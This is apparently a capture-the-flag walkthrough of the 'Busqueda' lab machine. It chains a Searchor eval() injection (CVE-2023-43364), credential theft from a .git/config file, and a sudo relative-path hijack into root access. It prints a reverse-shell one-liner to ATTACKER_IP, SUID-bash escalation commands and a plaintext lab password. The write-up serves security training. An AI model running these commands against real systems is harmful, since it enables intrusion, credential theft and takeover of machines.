A standard Nmap service scan reveals two open ports: 22 (SSH) and 80 (HTTP).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONSNoteThe redirect to
searcher.htbin the Nmap output reveals the virtual hostname. Add it to/etc/hosts.
echo "TARGET_IP searcher.htb" | sudo tee -a /etc/hostsScope: *.searcher.htb
The page footer discloses two key technologies:
Searching for Searchor 2.4.0 CVE immediately surfaces CVE-2023-43364 — a Remote Code Execution vulnerability caused by unsanitized input passed directly to Python's eval().
sequenceDiagram
participant A as Attacker
participant S as Searcher App (Flask)
participant E as Python eval()
A->>S: POST /search?query=__import__('os').system('...')
S->>E: eval(f"search(query='{input}')")
E-->>A: OS command executed → Reverse Shell
svcUsing a public PoC for CVE-2023-43364, a reverse shell is obtained as the svc user.
# Public PoC usage (example)
python3 poc.py http://searcher.htb ATTACKER_IP ATTACKER_PORTOnce connected, stabilize the shell immediately:
# Upgrade to a fully interactive TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background with Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm.git/configInspecting the web application directory reveals a Git repository with a telling config file:
cat /var/www/app/.git/config[core]
repositoryformatversion = 0
filemode = true
bare = false
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*Findings:
gitea.searcher.htbcody:passxxxAdd the new subdomain to /etc/hosts:
echo "TARGET_IP gitea.searcher.htb" | sudo tee -a /etc/hostsVerify the credentials work for SSH using netexec:
nxc ssh searcher.htb -u svc -p 'passxxx'✅ Valid — the svc account reuses cody's password.
sudosudo -lUser svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
The script accepts subcommands: docker-ps, docker-inspect, and full-checkup.
docker inspectThe target host runs a Gitea Docker container. docker inspect can dump its full configuration, including environment variables with hardcoded credentials:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' giteaParse the JSON output for credentials, then log into gitea.searcher.htb as administrator.
flowchart LR
SC[system-checkup.py\nsource on Gitea] -->|Reads| FC["full-checkup handler\n./full-checkup.sh"]
FC -->|Relative path!| PI[Path Injection]
PI --> PE[Privilege Escalation]The Gitea repository (accessible as administrator) contains the source of system-checkup.py. The critical flaw:
# Vulnerable snippet inside system-checkup.py
elif action == 'full-checkup':
os.system('./full-checkup.sh') # ← relative path, not absoluteBecause the script calls ./full-checkup.sh (a relative path) and runs as root via sudo, any full-checkup.sh in the current working directory at invocation time will be executed as root.
Create a malicious full-checkup.sh in a writable directory:
cd /tmp
cat > full-checkup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/bash
chown root:root /tmp/bash
chmod 4755 /tmp/bash
EOF
chmod +x full-checkup.shRun the privileged script from /tmp:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupUse the SUID bash to get a root shell:
/tmp/bash -p
whoami # rootrootCreate a reverse shell payload (use revshells.com to generate):
cd /tmp
cat > full-checkup.sh << 'EOF'
#!/bin/bash
/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
EOF
chmod +x full-checkup.shSet up your listener:
nc -lvnp PORTThen trigger execution:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup💥 Root shell received on the listener.
flowchart TD
subgraph AA["Foothold"]
A[CVE-2023-43364\nSearchor eval RCE] --> B[Shell: svc]
end
subgraph AB["Lateral Movement"]
C[.git/config\nCredential Leak] --> D[nxc SSH\nValidation]
end
subgraph AC["Escalation"]
E[sudo system-checkup.py\ndocker inspect] --> F[Administrator on Gitea]
F --> G[Source Code Review\nRelative Path Bug]
G --> H[Path Injection\nfull-checkup.sh]
end
AA --> AB
AB --> AC
AC --> I[Root Shell].git/ directories in web app roots — they frequently contain credentials in remote URLs../script.sh vs /absolute/path/script.sh) are a critical misconfiguration and a classic LPE vector.docker CLI access (direct or indirect) is available.eval() on user input is never safe, regardless of language.